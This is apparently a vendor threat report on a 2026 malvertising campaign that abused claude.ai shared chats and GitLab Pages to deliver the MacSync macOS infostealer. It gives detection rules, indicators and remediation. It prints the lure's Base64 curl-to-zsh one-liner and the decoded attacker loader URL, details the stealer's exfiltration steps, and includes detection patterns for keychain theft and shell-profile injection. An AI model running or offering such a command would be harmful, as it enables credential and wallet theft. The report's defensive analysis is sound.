Threat reportMalwareTL-2026-7474
ClickFix Google Ads malvertising abuses claude.ai shared chats and GitLab Pages to deliver MacSync infostealer
A Google Ads malvertising campaign (Apr 8 - Jun 14, 2026) lured mainly technical macOS users with fake AI developer tool downloads (Claude, ChatGPT Codex, Perplexity, JetBrains). GitLab Pages and later claude.ai shared chats instructed victims to paste a Base64-obfuscated curl command into Terminal, installing the MacSync infostealer that steals browser credentials and cookies, Keychain data, SSH keys and crypto wallet files. First disclosed .
Key facts
| Identifiers | TL-2026-7474 |
|---|---|
| Also known as | MacSync, ClaudeFix |
| Severity | HIGH |
| First disclosed | |
| Affected products | Apple macOS (user-executed Terminal command; no software vulnerability exploited); Ledger / Trezor Ledger Wallet, Ledger Live, Trezor Suite desktop apps (trojanized in place by the Huntress-documented stage 6) |
| Malware | MacSync |
| MITRE ATT&CK techniques | T1005 Data from Local System, T1027 Obfuscated Files or Information, T1056.002 Input Capture: GUI Input Capture, T1059.002 Command and Scripting Interpreter: AppleScript, T1059.004 Command and Scripting Interpreter: Unix Shell, T1071.001 Application Layer Protocol: Web Protocols, T1082 System Information Discovery, T1113 Screen Capture, T1140 Deobfuscate/Decode Files or Information, T1204.004 User Execution: Malicious Copy and Paste, T1539 Steal Web Session Cookie, T1543.001 Create or Modify System Process: Launch Agent and 8 more in the attack flow |
| Motivation | FINANCIAL |
| Target sectors | technology, software development, cryptocurrency, general consumer |
| Target regions | Asia-Pacific, taiwan, japan, singapore, india, Europe |
| Detection rules | 9 (1 shown free) |
| Sources | 6 cited sources |
Detection coverage
As of 2026-12-04, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-7474 across Splunk SPL, Microsoft KQL and Sigma, covering 27 indicator(s) of compromise. The whole corpus is readable without an account. Every threat comes with one complete detection in Splunk SPL, Microsoft KQL and Sigma, free for everyone; a free account adds daily TL Creds to unlock the rest. Paid plans add a larger daily allowance, correlation and the MCP server. Threadlinqs MCP server · View plans.
Free detection: MacSync AppleScript Stealer Behaviours: osascript from Shell, Fake Password Prompt, Keychain Safe Storage Access, Archive Staging
Correlates MacSync stage-3 AppleScript stealer behaviour on macOS within 15-minute windows per host and user: osascript spawned by zsh/bash/sh/curl (stealer piped to osascript with no file on disk), a fake password dialog (display dialog with hidden answer), 'security find-generic-password' reads of browser Safe Storage keys, 'dscl . authonly' password validation, creation of osalogging.zip, and curl|zsh lines appended to ~/.zshrc. Two or more distinct behaviours, or the osalogging.zip archive alone, raise the alert.
- Languages: Splunk SPL, Microsoft KQL, Sigma
- ATT&CK: T1059.002, T1056.002, T1555.001, T1555.003, T1539, T1560.001, T1546.004
- Data sources: crowdstrike_falcon_macos_process, index=edr sourcetype=crowdstrike:events:sensor, DeviceProcessEvents, macos process_creation
- Severity: critical
- Confidence: high
Splunk SPL
index=edr sourcetype="crowdstrike:events:sensor" event_simpleName=ProcessRollup2 event_platform=Mac earliest=-24h
```MacSync stage-3 stealer behaviours scored per host and user in 15 minute windows```
| eval cmd=lower(CommandLine), img=lower(ImageFileName), parent=lower(ParentBaseFileName)
| eval f_osascript_from_shell=if(match(img,"/osascript$") AND match(parent,"^(zsh|bash|sh|curl)$"),1,0)
| eval f_fake_prompt=if(match(cmd,"display dialog.*hidden answer"),1,0)
| eval f_keychain=if(match(cmd,"security +find-generic-password.*(safe storage|chrome|brave|edge|firefox)"),1,0)
| eval f_pw_validate=if(match(cmd,"dscl +[.] +authonly"),1,0)
| eval f_archive=if(match(cmd,"(zip|ditto).*osalogging[.]zip"),1,0)
| eval f_zshrc=if(match(cmd,"curl.*>>.*[.]zshrc|>>.*[.]zshrc.*curl"),1,0)
| where f_osascript_from_shell+f_fake_prompt+f_keychain+f_pw_validate+f_archive+f_zshrc>0
| bin _time span=15m
| stats sum(f_osascript_from_shell) as osascript_from_shell sum(f_fake_prompt) as fake_prompt sum(f_keychain) as keychain sum(f_pw_validate) as pw_validate sum(f_archive) as archive sum(f_zshrc) as zshrc values(CommandLine) as command_lines by _time ComputerName UserName
| eval behaviors=if(osascript_from_shell>0,1,0)+if(fake_prompt>0,1,0)+if(keychain>0,1,0)+if(pw_validate>0,1,0)+if(archive>0,1,0)+if(zshrc>0,1,0)
| where behaviors>=2 OR archive>0Microsoft KQL
DeviceProcessEvents
| where Timestamp > ago(24h)
| extend cmd = tolower(ProcessCommandLine)
| extend F_OsascriptFromShell = (FileName =~ 'osascript' and InitiatingProcessFileName in~ ('zsh', 'bash', 'sh', 'curl'))
| extend F_FakePrompt = cmd matches regex @'display dialog.*hidden answer'
| extend F_Keychain = cmd matches regex @'security +find-generic-password.*(safe storage|chrome|brave|edge|firefox)'
| extend F_PwValidate = cmd matches regex @'dscl +[.] +authonly'
| extend F_Archive = cmd matches regex @'(zip|ditto).*osalogging[.]zip'
| extend F_ZshrcInject = cmd matches regex @'curl.*>>.*[.]zshrc|>>.*[.]zshrc.*curl'
| where F_OsascriptFromShell or F_FakePrompt or F_Keychain or F_PwValidate or F_Archive or F_ZshrcInject
| summarize Osascript = countif(F_OsascriptFromShell), Prompt = countif(F_FakePrompt), Keychain = countif(F_Keychain), PwValidate = countif(F_PwValidate), Archive = countif(F_Archive), Zshrc = countif(F_ZshrcInject), Commands = make_set(ProcessCommandLine, 10) by DeviceName, AccountName, TimeBin = bin(Timestamp, 15m)
| extend Behaviors = toint(Osascript > 0) + toint(Prompt > 0) + toint(Keychain > 0) + toint(PwValidate > 0) + toint(Archive > 0) + toint(Zshrc > 0)
| where Behaviors >= 2 or Archive > 0Sigma
title: MacSync AppleScript Stealer Behaviours - Fake Password Prompt, Keychain Safe Storage Access, Archive Staging, zshrc Injection
id: e0d47a93-5b16-4c28-8a7f-9f3c1b6d2a52
status: experimental
description: Detects individual MacSync stage-3 stealer behaviours on macOS: osascript fake password dialog with hidden answer, security find-generic-password reads of browser Safe Storage keys, dscl authonly password validation, osalogging.zip staging, and curl|zsh lines appended to .zshrc (TL-2026-7474). Any single match is a high-signal lead; correlate multiple hits per host in the SIEM.
references:
- https://www.zscaler.com/blogs/security-research/claudefix-shared-claude-chats-meet-clickfix
- https://www.huntress.com/blog/macsync-stealer-rat-reverse-engineering
author: Threadlinqs Team
date: 2026/12/04
tags:
- attack.execution
- attack.t1059.002
- attack.credential-access
- attack.t1056.002
- attack.t1555.001
- attack.t1555.003
- attack.t1539
- attack.collection
- attack.t1560.001
- attack.persistence
- attack.t1546.004
logsource:
product: macos
category: process_creation
detection:
selection_prompt:
Image|endswith: '/osascript'
CommandLine|contains|all:
- 'display dialog'
- 'hidden answer'
selection_keychain:
Image|endswith: '/security'
CommandLine|contains|all:
- 'find-generic-password'
- 'Safe Storage'
selection_pwcheck:
Image|endswith: '/dscl'
CommandLine|contains: 'authonly'
selection_archive:
CommandLine|contains: 'osalogging.zip'
selection_zshrc:
CommandLine|contains|all:
- 'curl'
- '>>'
- '.zshrc'
condition: 1 of selection_*
falsepositives:
- Legitimate scripts that prompt for a password with osascript display dialog hidden answer
- Backup or credential-management tools that call security find-generic-password or dscl authonly
level: highKnown false positives:
- Enterprise tools or admin scripts that call security find-generic-password or dscl authonly for legitimate credential workflows
- Internal scripts that use osascript display dialog with hidden answer for password prompts
Tuning notes: The SPL and KQL forms require two distinct behaviours (or the osalogging.zip archive) per 15-minute window to cut noise; the Sigma form is per-event so score or correlate it in the SIEM. Exclude signed enterprise credential tools and your MDM agent by parent process. If your EDR does not capture stdin-fed osascript, rely on the keychain, archive and fake-prompt branches.
- ClickFix Lure Delivery: Ad-Driven claude.ai Shared Chats and GitLab Pages Impersonating AI Dev Tools · unlock with TL Creds
- MacSync Persistence: com.apple.<8hex> LaunchAgent Masquerade and Captured Password File · unlock with TL Creds
- MacSync Endpoint Network Callbacks to Known Staging, Exfiltration and Seed-Drop Domains · unlock with TL Creds
- MacSync Loader Stage: Script Fetch from Known Endpoints and Russian Keyboard-Layout Geofence Check · unlock with TL Creds
- MacSync Stealer Staging Artifacts: [indicator] and macsync Lock Directory · unlock with TL Creds
- MacSync Mach-O RAT C2: TLS WebSocket to [indicator]:8443 and Operator Panel IP · unlock with TL Creds
- MacSync ClickFix Terminal One-Liner: curl of Base64-Decoded URL Piped to Shell · unlock with TL Creds
- MacSync Staging and Exfiltration over HTTP: Known Hosts, /dynamic?txd= Fetch, HTTP PUT to /gate, Wallet Seed Drop · unlock with TL Creds
Indicators of compromise
As of 2026-12-04, Threadlinqs Intelligence tracks 27 indicators of compromise for TL-2026-7474.
Sample indicators (3 of 27)
- IP address:
85.206.161[.]241 - Domain:
loserrq0j1sha8[.]com - URL:
hxxps://claude[.]ai/share/498818d9-1ddc-4fbb-9fa7-56dfb84840b0
Defanged, TLP:CLEAR. Full set of 27 indicators: unlock with TL Creds.
Community OSINT corroboration
1 of this threat's indicators have also been reported by the open-source security community. Community sightings are unverified and are kept separate from Threadlinqs' curated indicators. Indicator values, reporters and campaign linkage are available to authenticated Red-tier users.
Technical analysis
Trend Micro reports over 2,000 victims and 106 malicious hostnames; no named actor.
Trend Micro (TrendAI Research) tracked a malvertising campaign between April 8 and June 14, 2026 in which Google Ads for AI developer tools redirected victims to ClickFix lure pages. Early waves (1-4) used GitLab Pages subdomains (92 unique gitlab.io hostnames, e.g. claude-code-app.gitlab.io, claude-desktop-lm.gitlab.io, cladesktop.gitlab.io, claudecode-desktop.gitlab.io, plus Mac utility lures such as mac-clean-storage.gitlab.io) impersonating Claude, ChatGPT Codex, Perplexity, Cursor and JetBrains. From Wave 5 (May 6) the operators shifted to publicly shared claude.ai conversations (claude.ai/share/<uuid>), reached via Google Ads with gclid/gbraid/gad_campaignid parameters, with titles such as 'Running Claude Code on Mac' and 'Clearing disk space on macOS' and a display name of 'Apple Support' or 'Corda Team'. Trend counted at least 45 unique share IDs in Wave 5 and 61 in Wave 6, and roughly 2,530 summed wave hits; about 82.8% of traffic targeted AI development tool searches. Anthropic banned the responsible accounts and disabled the shared chats after notification.
The lure tells the victim to open Terminal and paste a single curl command whose URL is Base64-encoded (curl -kfsSL $(echo '<base64>'|base64 -D)|zsh). In the Trend sample the decoded URL is https://loserrq0j1sha8.com/debug/loader.sh?build=a39427f9d5bfda11277f1a58c89b7c2d. The loader is a zsh script holding a further Base64 blob; it checks for a Russian keyboard layout / input method and, if found, sets IS_CIS=TRUE and exits without running the payload. Otherwise it fetches and runs MacSync, which harvests browser credentials and cookies, SSH keys and crypto wallet files and exfiltrates them to a second-stage host.
Related vendor reporting on the same MacSync/shared-chat technique (Zscaler, Huntress; different infrastructure and a later activity window of June 12-19, 2026 per Zscaler) gives deeper payload detail and is incorporated here for detection value. The stage-2 script downloads an AppleScript stealer from /dynamic?txd=<token> with a static api-key header and pipes it directly to osascript (no file on disk). The stealer requests Full Disk Access, adds a curl|zsh re-pull line to ~/.zshrc, shows a fake password prompt, steals Keychain Safe Storage keys, Chromium/Gecko browser stores, password-manager and wallet extensions, Telegram tdata, ~/.ssh, ~/.aws, ~/.kube and document files, stages them under /tmp/sync<random>, zips to /tmp/osalogging.zip and uploads in 10 MiB chunks by HTTP PUT to /gate. Huntress further documents a six-stage chain including a Mach-O RAT (WebSocket over TLS to 85.206.161.241:8443, AES-256-CBC messages, LaunchAgent persistence, fallback domain XOR 0xAA), a screen-capture helper, and trojanized Ledger Wallet, Ledger Live and Trezor Suite apps that show a fake recovery-phrase page. Zscaler noted Russian-language comments in the AppleScript; Trend attributes no actor, so attribution here is LOW confidence and unnamed.
Defender focus: the abuse of trusted domains (claude.ai, gitlab.io) defeats reputation-based filtering, the payload is polymorphic per victim token (hash detection is weak), and the key behavioral signals are Terminal commands containing base64 -D piped to zsh/curl after a browser session, osascript spawned from curl|zsh, writes to ~/.zshrc and ~/Library/LaunchAgents, and /tmp/osalogging.zip creation. Note an inconsistency in the Trend article: the text says six waves, the timeline figure caption says five.
MITRE ATT&CK techniques by tactic:
Collection
T1005 Data from Local System; T1113 Screen Capture; T1560.001 Archive Collected Data: Archive via Utility
Defense Evasion
T1027 Obfuscated Files or Information; T1140 Deobfuscate/Decode Files or Information; T1684.001 Impersonation
Credential Access
T1056.002 Input Capture: GUI Input Capture; T1539 Steal Web Session Cookie; T1555.001 Credentials from Password Stores: Keychain; T1555.003 Credentials from Password Stores: Credentials from Web Browsers
Execution
T1059.002 Command and Scripting Interpreter: AppleScript; T1059.004 Command and Scripting Interpreter: Unix Shell; T1204.004 User Execution: Malicious Copy and Paste
Command and Control
T1071.001 Application Layer Protocol: Web Protocols; T1573.002 Encrypted Channel: Asymmetric Cryptography
Discovery
T1082 System Information Discovery; T1614.001 System Location Discovery: System Language Discovery
Persistence
T1543.001 Create or Modify System Process: Launch Agent
Resource Development
T1583.008 Acquire Infrastructure: Malvertising
Impact
Remediation
Patches
- macOS Tahoe 26.4 and later warns about possible ClickFix paste attacks (per Malwarebytes); keep macOS updated
Immediate actions
- Block/alert on the listed delivery, C2 and exfiltration domains and IPs (loserrq0j1sha8.com, agenticsora.com, malwareaudit.com, lasvegaslaminateflooring.com, 85.206.161.241, 103.216.221.95)
- Hunt macOS endpoints for Terminal executions of curl piped to zsh with base64 -D, osascript spawned by curl|zsh, and /tmp/osalogging.zip creation
- Inspect ~/.zshrc for injected curl|zsh lines and ~/Library/LaunchAgents for unexpected com.apple.<8hex>.plist or vendor-updater-named agents
- If a victim ran the command, rotate browser-saved passwords, session cookies, SSH/cloud keys (~/.ssh, ~/.aws, ~/.kube), and move crypto assets to new wallets; reinstall Ledger/Trezor apps from official sources and never enter a recovery phrase into an app prompt
- Report malicious claude.ai shared chats and gitlab.io Pages to Anthropic and GitLab
Workarounds
- Restrict Terminal use for non-developer users through MDM
- Use tools such as Objective-See BlockBlock and LuLu to detect persistence and unexpected outbound connections
- Deny Full Disk Access/Screen Recording TCC grants to Terminal and unknown binaries
Longer-term hardening
- Train developers and IT staff on ClickFix: never paste obfuscated Terminal commands from web pages or chats
- Install developer tools only via vendor sites, package managers (brew, pip, npm) and not via sponsored search results
- Deploy macOS EDR with behavioral detection for shell/osascript chains and persistence in shell profiles and LaunchAgents
- Consider blocking or restricting sponsored-ad redirects to user-generated content hosts such as claude.ai/share and gitlab.io for managed endpoints
- Use behavior-based rather than hash-based detection because the loader is polymorphic per victim token
Affected and fixed versions
- Apple — macOS (user-executed Terminal command; no software vulnerability exploited)
Vulnerable versions: Any macOS version where the user pastes and runs the lure command
Fixed in: macOS Tahoe 26.4+ adds a ClickFix paste warning (mitigation only) - Ledger / Trezor — Ledger Wallet, Ledger Live, Trezor Suite desktop apps (trojanized in place by the Huntress-documented stage 6)
Vulnerable versions: Locally installed apps modified by the stealer
Fixed in: Reinstall from official vendor sources
Timeline
- Wave 1 (Apr 8-13) begins: 753 hits across 18 hostnames, primary lure [domain withheld] (GitLab Pages), peak 192 hits on April 10 (Trend Micro).
- Waves 2-4 (Apr 14 - May 5) expand lures to Claude variants, JetBrains, Perplexity and ChatGPT Codex branding across 23-28 hostnames per wave.
- Wave 5 (May 6-14) shifts to claude.ai shared chats reached via Google Ads; at least 45 unique share IDs, Apple Support-labeled lures.
- Malwarebytes publishes 'Fake Claude search results lure Mac users into ClickFix attack' and the Cloud Security Alliance issues a research note on AI-platform URL trust abuse in malvertising.
- Wave 6 (May 21 - Jun 14) runs entirely on claude.ai shared chats: 337 hits, at least 61 unique share IDs and 33 new Google campaign IDs.
- Zscaler ThreatLabz observes the shared-Claude-chat MacSync campaign in ZIA logs (June 12-19) using 22 unique Google Ads campaign IDs.
- Last observed activity in the Trend Micro dataset; Anthropic banned the responsible accounts and disabled the malicious shared chats after being notified.
- Trend Micro (TrendAI Research) publishes the report reporting over 2,000 victims, 106 malicious hostnames and ~67% Asia-Pacific victims.
- Zscaler publishes 'ClaudeFix: Shared Claude Chats Meet ClickFix' with full MacSync kill chain, hosting domains and detections (HTML.Trojan.ClickFix, OSX.PWS.MacSync).
Sources cited
- Threat Actors Abuse claude.ai Shared Chat for ClickFix Malvertising Campaign (Trend Micro) Trend Micro · Research · 2026-06-17
- ClaudeFix: Shared Claude Chats Meet ClickFix (Zscaler ThreatLabz) zscaler.com · Research · 2026-07-15
- How a Google Search for Claude Led to MacSync (Huntress) Huntress · Research
- Fake Claude Install Guide Leads to MacSync Stealer and RAT: What We Pulled From the Attacker's Servers (Huntress) Huntress · Research
- AI Platform URL Trust Weaponized in Malvertising (Cloud Security Alliance research note) labs.cloudsecurityalliance.org · Research · 2026-05-12
- Fake Claude search results lure Mac users into ClickFix attack (Malwarebytes) malwarebytes.com · Blog · 2026-05-12
Previous and next in malware
AI-drafted from 6 cited sources; published ; last updated —.